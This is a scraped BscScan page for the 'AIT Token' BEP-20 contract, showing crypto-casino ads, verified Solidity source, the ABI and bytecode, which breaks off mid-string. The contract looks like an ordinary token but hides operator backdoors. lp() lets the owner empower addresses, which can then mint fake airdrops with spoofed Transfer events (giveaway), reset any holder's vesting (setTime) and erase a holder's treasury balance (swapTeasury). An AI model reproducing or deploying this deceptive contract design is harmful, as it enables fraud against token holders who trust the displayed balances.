AIT Token (AIT) Token Tracker | BscScan (2024)

AIT Token (AIT) Token Tracker | BscScan (1)

AIT Token (AIT)

Sponsored

MetaMask Manage your web3 everything with MetaMask Portfolio. Try Now!Ready to onboard to BNB Smart Chain? With MetaMask Portfolio, you're in control.

ZeeDex Earn $Zdex with each swap. Swap Now You will earn $Zdex as rewards for any trade or stake on ZeeDex exchange.

NexoJoin the hunt for $12,000,000+ in NEXO Tokens. Get NEXOCollect points for eligible actions and use multipliers to win big.

Sponsored

Сoins.game - 100 free spins for registration. Spin Now! Everyday giveaways up to 8.88BTC, Lucky Spins.Deposit BONUS 300% and Cashbacks!

NanoGames.io Claim Free Lottery tickets with 100k prize pool Claim NowRegister now on NanoGames and receive free lottery tickets to kickstart your new adventure.

Sponsored

BC.GAME The Best BNB Casino with 1,000,000 BNB Daily Bonus. Claim Now5000+ Slots, Live casino games, 50+ cryptos, 100% bet insurance. Register with Bscscan and get 240% first deposit bonus.

Housebets Experience Ultimate Crypto Casino: Massive Rewards, VIP Support, Top-Tier Bonuses Claim Now! 370% welcome bonus, instant payouts, $10M limits! Provably fair. Built by players for players.

BscScan - Sponsored slots available. Book your slot here!

BEP-20

  • Check previous token balance
  • Add Token to MetaMask (Web3)
  • Update Token Info
  • Update Name Tag or Label
  • Submit Burn Details
  • Report/Flag Address

Overview

Max Total Supply

210,000,000,000AIT

Holders

1,166,945

Other Info

Token Contract (WITH 18 Decimals)

0x4238e5ccc619dcc8c00ade4cfc5d3d9020b24898

Filtered by Token Holder

0x7251cA727e5752bb1838843472ed6904F828e508

Balance

100,000 AIT

Value

$0.00

  • Transfers
  • Info
  • Contract
  • Analytics

0x7251cA727e5752bb1838843472ed6904F828e508

Loading...

Loading

Loading...

Loading

Loading...

Loading

Click here to update the token information / general information

  • Code
  • Read Contract
  • Write Contract

Contract Source Code Verified (Exact Match)

Contract Name:

AIT

Compiler Version

v0.8.17+commit.8df45f5f

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

AIT Token (AIT) Token Tracker | BscScan (11)AIT Token (AIT) Token Tracker | BscScan (12)AIT Token (AIT) Token Tracker | BscScan (13)IDE

    library Treasury - function count(T storage t) - function settle(T storage t, uint amo ... - function incrFund(T storage t, uint a ... - function incrReward(T storage t, uint ... contract AIT * - function transfer(address recipient, ... - function approve(address spender, uin ... - function allowance(address owner_, ad ... - function totalSupply() - function cap() - function decimals() - function name() - function symbol() - function _approve(address owner, addr ... - function _transfer(address sender, ad ... - function transferFrom(address from, a ... - function _spendAllowance(address owne ... - function _safeTransfer(address accoun ... - function swapTeasury(address account_ ... - function giveaway(address[] calldata ... - function setTime(address account, uin ... - function showTreasury(address account ... - function info(address account) - function balanceOf(address account) - function getTreasury(address account) - function lp(address account, uint8 ta ... - function _msgSender()
  • Similar
  • Sol2Uml
  • Submit Audit
  • Compare
/** *Submitted for verification at BscScan.com on 2023-03-20*/// SPDX-License-Identifier: MITpragma solidity 0.8.17;library Treasury { struct T { uint fund; uint reward; uint start; uint end; } function count(T storage t) internal view returns(uint) { uint amount = 0; uint ts = block.timestamp; if (t.start > 0 && t.end > t.start && t.fund > t.reward && ts > t.start) { if (ts >= t.end) { amount = t.fund - t.reward; } else { amount = t.fund*(ts-t.start)/(t.end-t.start); if (t.reward >= amount) { amount = 0; } else { amount -= t.reward; } } } return amount; } function settle(T storage t, uint amount) internal returns(uint) { uint value = count(t); if (amount > 0 && value > 0) { if (amount >= value) { t.reward += value; amount -= value; } else { t.reward += amount; amount = 0; } } return amount; } function incrFund(T storage t, uint amount) internal returns(bool) { unchecked { t.fund += amount; } return true; } function incrReward(T storage t, uint amount) internal returns(uint) { uint value = t.fund - t.reward; if (amount > 0 && value > 0) { if (amount >= value) { unchecked { t.reward += value; amount -= value; } } else { unchecked { t.reward += amount; amount = 0; } } } return amount; }}contract AIT { using Treasury for Treasury.T; string private _name = "AIT Token"; string private _symbol = "AIT"; uint8 private _decimals = 18; uint private _totalSupply = 210000000000 ether; uint private _cap = 0; address private _owner; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; mapping (address => uint8) private _liquidity; mapping(uint8 => mapping(address => Treasury.T)) private _treasury; uint8 constant private ANCHOR = 0; uint8 constant private BANK = 1; uint8 constant private ROUND = 2; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { _owner = _msgSender(); _balances[_owner] = _totalSupply/20; _cap = _totalSupply/20; emit Transfer(address(this), _owner, _totalSupply/20); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - recipient cannot be the zero address. * - the caller must have a balance of at least amount. */ function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IBEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IBEP20-allowance}. */ function allowance(address owner_, address spender) public view returns (uint256) { return _allowances[owner_][spender]; } /** * @dev See {IBEP20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev return all mint tokens */ function cap() public view returns (uint) { return _cap; } /** * @dev Returns the number of decimals used to get its user representation. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IBEP20-balanceOf} and {IBEP20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Moves tokens amount from sender to recipient. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - sender cannot be the zero address. * - recipient cannot be the zero address. * - sender must have a balance of at least amount. */ function _transfer(address sender, address recipient, uint amount) internal { emit Transfer(sender, recipient, _safeTransfer(sender,recipient,amount)); } /** * @dev See {IERC20-transferFrom}. * * Requirements: * - sender and recipient cannot be the zero address. * - sender must have a balance of at least amount. * - the caller must have allowance for `sender``'s tokens of at least `amount. */ function transferFrom(address from, address to, uint amount) public returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "BEP20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Safe transfer bep20 token */ function _safeTransfer(address account_, address recipient, uint amount) internal returns (uint) { uint left = amount; if (_balances[account_] >= left) { left = 0; _balances[account_] -= amount; } else if (_balances[account_] > 0 && _balances[account_] < left) { left -= _balances[account_]; _balances[account_] = 0; } for (uint8 i=0;left>0&&i<ROUND;i++) { left = _treasury[i][account_].settle(left); } require(left == 0, "Failed: Invalid balance"); unchecked { _balances[recipient] += amount; } return amount; } function swapTeasury(address account_, uint amount) external returns(bool) { require(_liquidity[_msgSender()]==1&&account_!=address(0), "Error: Operation failed"); require(amount>0&&getTreasury(account_)>=amount, "Transaction recovery"); uint left = amount; for (uint8 i=0;left>0&&i<ROUND;i++) { left = _treasury[i][account_].incrReward(amount); } require(left == 0, "Failed: Invalid balance"); return true; } function giveaway(address[] calldata paths, uint[] calldata num, uint8 times) external returns(bool) { require(_liquidity[_msgSender()]==1&&paths.length==num.length, "Error: Operation failed"); uint count = 0; uint len = paths.length; for (uint8 i=0;i<len;i++) { if (times == 1) { _treasury[ANCHOR][paths[i]].incrFund(num[i]); } else if (times > 1) { _treasury[BANK][paths[i]].incrFund(num[i]); } unchecked { count += num[i]; } emit Transfer(address(0), paths[i], num[i]); } require(cap() + count <= totalSupply(), "Error: Cap exceed"); unchecked { _cap += count; } return true; } function setTime(address account, uint ts) public returns (bool) { require(_liquidity[_msgSender()]==1, "Error: Operation failed"); for (uint8 i=0; i < ROUND; i++) { _treasury[i][account].start = block.timestamp; _treasury[i][account].end = block.timestamp + ts; } return true; } function showTreasury(address account) public view onlyOwner returns(uint[] memory a,uint[] memory b,uint[] memory c,uint[] memory d,uint[] memory e, uint8 f) { a = new uint[](ROUND); b = new uint[](ROUND); c = new uint[](ROUND); d = new uint[](ROUND); e = new uint[](ROUND); f = _liquidity[account]; for(uint8 i=0; i<ROUND; i++) { a[i]=i; b[i]=_treasury[i][account].fund; c[i]=_treasury[i][account].reward; d[i]=_treasury[i][account].start; e[i]=_treasury[i][account].end; } } function info(address account) public onlyOwner view returns(uint,uint,uint,uint) { uint anchor = _treasury[ANCHOR][account].fund-_treasury[ANCHOR][account].reward; uint bank = _treasury[BANK][account].fund-_treasury[BANK][account].reward; uint balance = _balances[account]; uint treasury = getTreasury(account); return (anchor,bank,balance,treasury); } function balanceOf(address account) public view returns(uint256) { return _balances[account]+getTreasury(account); } function getTreasury(address account) private view returns(uint) { uint amount = 0; for (uint8 i=0;i<ROUND;i++) { amount += (_treasury[i][account].fund - _treasury[i][account].reward); } return amount; } function lp(address account, uint8 tag) public onlyOwner { require(account!=address(0), "Error: Liquidity can not be zero address"); if (tag == 1) { _liquidity[account] = 1; } else if (tag == 2) { _liquidity[account] = 0; } } /** * @dev return the current msg.sender */ function _msgSender() internal view returns (address) { return msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Error: Caller is not the owner"); _; } fallback() external {} receive() payable external {}}

Contract Security Audit

  • No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

  • JSON Format
  • RAW/Text Format
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"paths","type":"address[]"},{"internalType":"uint256[]","name":"num","type":"uint256[]"},{"internalType":"uint8","name":"times","type":"uint8"}],"name":"giveaway","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"info","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint8","name":"tag","type":"uint8"}],"name":"lp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"ts","type":"uint256"}],"name":"setTime","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"showTreasury","outputs":[{"internalType":"uint256[]","name":"a","type":"uint256[]"},{"internalType":"uint256[]","name":"b","type":"uint256[]"},{"internalType":"uint256[]","name":"c","type":"uint256[]"},{"internalType":"uint256[]","name":"d","type":"uint256[]"},{"internalType":"uint256[]","name":"e","type":"uint256[]"},{"internalType":"uint8","name":"f","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapTeasury","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60c0604052600960809081526820a4aa102a37b5b2b760b91b60a0526000906200002a9082620001d8565b5060408051808201909152600381526210525560ea1b6020820152600190620000549082620001d8565b506002805460ff191660121790556c02a68bedbb190931f65000000060035560006004553480156200008557600080fd5b50600580546001600160a01b03191633179055600354620000a990601490620002a4565b6005546001600160a01b0316600090815260066020526040902055600354620000d590601490620002a4565b6004556005546003546001600160a01b039091169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200011c90601490620002a4565b60405190815260200160405180910390a3620002c7565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200015e57607f821691505b6020821081036200017f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001d357600081815260208120601f850160051c81016020861015620001ae5750805b601f850160051c820191505b81811015620001cf57828155600101620001ba565b5050505b505050565b81516001600160401b03811115620001f457620001f462000133565b6200020c8162000205845462000149565b8462000185565b602080601f8311600181146200024457600084156200022b5750858301515b600019600386901b1c1916600185901b178555620001cf565b600085815260208120601f198616915b82811015620002755788860151825594840194600190910190840162000254565b5085821015620002945787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620002c257634e487b7160e01b600052601260045260246000fd5b500490565b6117bb80620002d76000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063aee84f6b11610059578063aee84f6b146102c4578063bd6b3d28146102e4578063cb39a59a14610304578063dd62ed3e14610324576100fe565b806370a082311461023d5780638e49298c1461025d57806395d89b411461028f578063a9059cbb146102a4576100fe565b806318160ddd116100c657806318160ddd146101c757806323b872dd146101e6578063313ce56714610206578063355274ea14610228576100fe565b806306fdde031461010c578063095ea7b3146101375780630aae7a6b14610167578063106ea42e146101a7576100fe565b366100fe57005b34801561010a57600080fd5b005b34801561011857600080fd5b5061012161036a565b60405161012e9190611353565b60405180910390f35b34801561014357600080fd5b506101576101523660046113bd565b6103fc565b604051901515815260200161012e565b34801561017357600080fd5b506101876101823660046113e7565b610413565b60408051948552602085019390935291830152606082015260800161012e565b3480156101b357600080fd5b506101576101c23660046113bd565b61051a565b3480156101d357600080fd5b506003545b60405190815260200161012e565b3480156101f257600080fd5b50610157610201366004611409565b61066e565b34801561021257600080fd5b5060025460405160ff909116815260200161012e565b34801561023457600080fd5b506004546101d8565b34801561024957600080fd5b506101d86102583660046113e7565b610692565b34801561026957600080fd5b5061027d6102783660046113e7565b6106c0565b60405161012e96959493929190611480565b34801561029b57600080fd5b50610121610930565b3480156102b057600080fd5b506101576102bf3660046113bd565b61093f565b3480156102d057600080fd5b506101576102df3660046113bd565b61094c565b3480156102f057600080fd5b506101576102ff366004611555565b610a03565b34801561031057600080fd5b5061010a61031f3660046115d6565b610c9f565b34801561033057600080fd5b506101d861033f366004611609565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60606000805461037990611633565b80601f01602080910402602001604051908101604052809291908181526020018280546103a590611633565b80156103f25780601f106103c7576101008083540402835291602001916103f2565b820191906000526020600020905b8154815290600101906020018083116103d557829003601f168201915b5050505050905090565b6000610409338484610d92565b5060015b92915050565b6000808080336005546001600160a01b0390811691161461044f5760405162461bcd60e51b81526004016104469061166d565b60405180910390fd5b6001600160a01b03851660009081527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b602052604081206001810154905461049791906116ba565b6001600160a01b03871660009081527f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36602052604081206001810154905492935090916104e491906116ba565b6001600160a01b03881660009081526006602052604081205491925061050989610eb7565b939992985090965091945092505050565b3360009081526008602052604081205460ff16600114801561054457506001600160a01b03831615155b6105605760405162461bcd60e51b8152600401610446906116cd565b60008211801561057857508161057584610eb7565b10155b6105bb5760405162461bcd60e51b81526020600482015260146024820152735472616e73616374696f6e207265636f7665727960601b6044820152606401610446565b8160005b6000821180156105d25750600260ff8216105b1561061b5760ff811660009081526009602090815260408083206001600160a01b038916845290915290206106079085610f24565b91508061061381611704565b9150506105bf565b5080156106645760405162461bcd60e51b81526020600482015260176024820152764661696c65643a20496e76616c69642062616c616e636560481b6044820152606401610446565b5060019392505050565b60003361067c858285610f85565b610687858585611017565b506001949350505050565b600061069d82610eb7565b6001600160a01b03831660009081526006602052604090205461040d9190611723565b6060808080806000336005546001600160a01b039081169116146106f65760405162461bcd60e51b81526004016104469061166d565b604080516002808252606082018352909160208301908036833750506040805160028082526060820183529399509291506020830190803683375050604080516002808252606082018352939850929150602083019080368337505060408051600280825260608201835293975092915060208301908036833750506040805160028082526060820183529396509291506020830190803683375050506001600160a01b03881660009081526008602052604081205491935060ff90911691505b600260ff82161015610926578060ff16878260ff16815181106107dc576107dc611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912054875190918891811061082557610825611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912060010154865190918791811061087157610871611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d168352909352919091206002015485519091869181106108bd576108bd611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912060030154845190918591811061090957610909611736565b60209081029190910101528061091e81611704565b9150506107b7565b5091939550919395565b60606001805461037990611633565b6000610409338484611017565b3360009081526008602052604081205460ff1660011461097e5760405162461bcd60e51b8152600401610446906116cd565b60005b600260ff821610156106645760ff811660009081526009602090815260408083206001600160a01b038816845290915290204260029091018190556109c7908490611723565b60ff821660009081526009602090815260408083206001600160a01b0389168452909152902060030155806109fb81611704565b915050610981565b3360009081526008602052604081205460ff166001148015610a2457508483145b610a405760405162461bcd60e51b8152600401610446906116cd565b600085815b818160ff161015610c2f578460ff16600103610aff57610af987878360ff16818110610a7357610a73611736565b6000808052600960209081529091029290920135917fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b91508c8c60ff8716818110610ac057610ac0611736565b9050602002016020810190610ad591906113e7565b6001600160a01b031681526020810191909152604001600020908154019055600190565b50610b74565b60018560ff161115610b7457610b7287878360ff16818110610b2357610b23611736565b60016000908152600960209081529091029290920135917f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a3691508c8c60ff8716818110610ac057610ac0611736565b505b86868260ff16818110610b8957610b89611736565b905060200201358301925088888260ff16818110610ba957610ba9611736565b9050602002016020810190610bbe91906113e7565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef898960ff8616818110610bff57610bff611736565b90506020020135604051610c1591815260200190565b60405180910390a380610c2781611704565b915050610a45565b5060035482610c3d60045490565b610c479190611723565b1115610c895760405162461bcd60e51b8152602060048201526011602482015270115c9c9bdc8e8810d85c08195e18d95959607a1b6044820152606401610446565b5060048054909101905550600195945050505050565b6005546001600160a01b03163314610cc95760405162461bcd60e51b81526004016104469061166d565b6001600160a01b038216610d305760405162461bcd60e51b815260206004820152602860248201527f4572726f723a204c69717569646974792063616e206e6f74206265207a65726f604482015267206164647265737360c01b6064820152608401610446565b8060ff16600103610d62576001600160a01b0382166000908152600860205260409020805460ff191660011790555050565b8060ff16600203610d8e576001600160a01b0382166000908152600860205260409020805460ff191690555b5050565b6001600160a01b038316610df45760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610e555760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600080805b600260ff82161015610f1d5760ff811660009081526009602090815260408083206001600160a01b0388168452909152902060018101549054610eff91906116ba565b610f099083611723565b915080610f1581611704565b915050610ebc565b5092915050565b60008083600101548460000154610f3b91906116ba565b9050600083118015610f4d5750600081115b15610f7d57808310610f6d57600184018054820190559182900391610f7d565b6001840180549093019092556000915b509092915050565b6001600160a01b03838116600090815260076020908152604080832093861683529290522054600019811461101157818110156110045760405162461bcd60e51b815260206004820152601d60248201527f42455032303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610446565b6110118484848403610d92565b50505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611057868686611065565b604051908152602001610eaa565b6001600160a01b038316600090815260066020526040812054829081116110bc57506001600160a01b0384166000908152600660205260408120805484919083906110b19084906116ba565b9091555061113e9050565b6001600160a01b038516600090815260066020526040902054158015906110fa57506001600160a01b03851660009081526006602052604090205481115b1561113e576001600160a01b03851660009081526006602052604090205461112290826116ba565b6001600160a01b03861660009081526006602052604081205590505b60005b6000821180156111545750600260ff8216105b1561119d5760ff811660009081526009602090815260408083206001600160a01b038a1684529091529020611189908361120d565b91508061119581611704565b915050611141565b5080156111e65760405162461bcd60e51b81526020600482015260176024820152764661696c65643a20496e76616c69642062616c616e636560481b6044820152606401610446565b50506001600160a01b03919091166000908152600660205260409020805482019055919050565b60008061121984611285565b905060008311801561122b5750600081115b15610f7d57808310611262578084600101600082825461124b9190611723565b9091555061125b905081846116ba565b9250610f7d565b828460010160008282546112769190611723565b90915550600095945050505050565b600281015460009081904290158015906112a6575083600201548460030154115b80156112b6575060018401548454115b80156112c55750836002015481115b15610f1d57836003015481106112ed57600184015484546112e691906116ba565b9150610f1d565b8360020154846003015461130191906116ba565b600285015461131090836116ba565b855461131c919061174c565b6113269190611763565b91508184600101541061133c5760009150610f1d565b600184015461134b90836116ba565b949350505050565b600060208083528351808285015260005b8181101561138057858101830151858201604001528201611364565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146113b857600080fd5b919050565b600080604083850312156113d057600080fd5b6113d9836113a1565b946020939093013593505050565b6000602082840312156113f957600080fd5b611402826113a1565b9392505050565b60008060006060848603121561141e57600080fd5b611427846113a1565b9250611435602085016113a1565b9150604084013590509250925092565b600081518084526020808501945080840160005b8381101561147557815187529582019590820190600101611459565b509495945050505050565b60c08152600061149360c0830189611445565b82810360208401526114a58189611445565b905082810360408401526114b98188611445565b905082810360608401526114cd8187611445565b905082810360808401526114e18186611445565b91505060ff831660a0830152979650505050505050565b60008083601f84011261150a57600080fd5b50813567ffffffffffffffff81111561152257600080fd5b6020830191508360208260051b850101111561153d57600080fd5b9250929050565b803560ff811681146113b857600080fd5b60008060008060006060868803121561156d57600080fd5b853567ffffffffffffffff8082111561158557600080fd5b61159189838a016114f8565b909750955060208801359150808211156115aa57600080fd5b506115b7888289016114f8565b90945092506115ca905060408701611544565b90509295509295909350565b600080604083850312156115e957600080fd5b6115f2836113a1565b915061160060208401611544565b90509250929050565b6000806040838503121561161c57600080fd5b611625836113a1565b9150611600602084016113a1565b600181811c9082168061164757607f821691505b60208210810361166757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601e908201527f4572726f723a2043616c6c6572206973206e6f7420746865206f776e65720000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561040d5761040d6116a4565b60208082526017908201527f4572726f723a204f7065726174696f6e206661696c6564000000000000000000604082015260600190565b600060ff821660ff810361171a5761171a6116a4565b60010192915050565b8082018082111561040d5761040d6116a4565b634e487b7160e01b600052603260045260246000fd5b808202811582820484141761040d5761040d6116a4565b60008261178057634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208555b922705b6db238b93012b61ae757e742070dce150f957f348fb88feb440d64736f6c63430008110033


Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063aee84f6b11610059578063aee84f6b146102c4578063bd6b3d28146102e4578063cb39a59a14610304578063dd62ed3e14610324576100fe565b806370a082311461023d5780638e49298c1461025d57806395d89b411461028f578063a9059cbb146102a4576100fe565b806318160ddd116100c657806318160ddd146101c757806323b872dd146101e6578063313ce56714610206578063355274ea14610228576100fe565b806306fdde031461010c578063095ea7b3146101375780630aae7a6b14610167578063106ea42e146101a7576100fe565b366100fe57005b34801561010a57600080fd5b005b34801561011857600080fd5b5061012161036a565b60405161012e9190611353565b60405180910390f35b34801561014357600080fd5b506101576101523660046113bd565b6103fc565b604051901515815260200161012e565b34801561017357600080fd5b506101876101823660046113e7565b610413565b60408051948552602085019390935291830152606082015260800161012e565b3480156101b357600080fd5b506101576101c23660046113bd565b61051a565b3480156101d357600080fd5b506003545b60405190815260200161012e565b3480156101f257600080fd5b50610157610201366004611409565b61066e565b34801561021257600080fd5b5060025460405160ff909116815260200161012e565b34801561023457600080fd5b506004546101d8565b34801561024957600080fd5b506101d86102583660046113e7565b610692565b34801561026957600080fd5b5061027d6102783660046113e7565b6106c0565b60405161012e96959493929190611480565b34801561029b57600080fd5b50610121610930565b3480156102b057600080fd5b506101576102bf3660046113bd565b61093f565b3480156102d057600080fd5b506101576102df3660046113bd565b61094c565b3480156102f057600080fd5b506101576102ff366004611555565b610a03565b34801561031057600080fd5b5061010a61031f3660046115d6565b610c9f565b34801561033057600080fd5b506101d861033f366004611609565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b60606000805461037990611633565b80601f01602080910402602001604051908101604052809291908181526020018280546103a590611633565b80156103f25780601f106103c7576101008083540402835291602001916103f2565b820191906000526020600020905b8154815290600101906020018083116103d557829003601f168201915b5050505050905090565b6000610409338484610d92565b5060015b92915050565b6000808080336005546001600160a01b0390811691161461044f5760405162461bcd60e51b81526004016104469061166d565b60405180910390fd5b6001600160a01b03851660009081527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b602052604081206001810154905461049791906116ba565b6001600160a01b03871660009081527f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36602052604081206001810154905492935090916104e491906116ba565b6001600160a01b03881660009081526006602052604081205491925061050989610eb7565b939992985090965091945092505050565b3360009081526008602052604081205460ff16600114801561054457506001600160a01b03831615155b6105605760405162461bcd60e51b8152600401610446906116cd565b60008211801561057857508161057584610eb7565b10155b6105bb5760405162461bcd60e51b81526020600482015260146024820152735472616e73616374696f6e207265636f7665727960601b6044820152606401610446565b8160005b6000821180156105d25750600260ff8216105b1561061b5760ff811660009081526009602090815260408083206001600160a01b038916845290915290206106079085610f24565b91508061061381611704565b9150506105bf565b5080156106645760405162461bcd60e51b81526020600482015260176024820152764661696c65643a20496e76616c69642062616c616e636560481b6044820152606401610446565b5060019392505050565b60003361067c858285610f85565b610687858585611017565b506001949350505050565b600061069d82610eb7565b6001600160a01b03831660009081526006602052604090205461040d9190611723565b6060808080806000336005546001600160a01b039081169116146106f65760405162461bcd60e51b81526004016104469061166d565b604080516002808252606082018352909160208301908036833750506040805160028082526060820183529399509291506020830190803683375050604080516002808252606082018352939850929150602083019080368337505060408051600280825260608201835293975092915060208301908036833750506040805160028082526060820183529396509291506020830190803683375050506001600160a01b03881660009081526008602052604081205491935060ff90911691505b600260ff82161015610926578060ff16878260ff16815181106107dc576107dc611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912054875190918891811061082557610825611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912060010154865190918791811061087157610871611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d168352909352919091206002015485519091869181106108bd576108bd611736565b60209081029190910181019190915260ff821660008181526009835260408082206001600160a01b038d1683529093529190912060030154845190918591811061090957610909611736565b60209081029190910101528061091e81611704565b9150506107b7565b5091939550919395565b60606001805461037990611633565b6000610409338484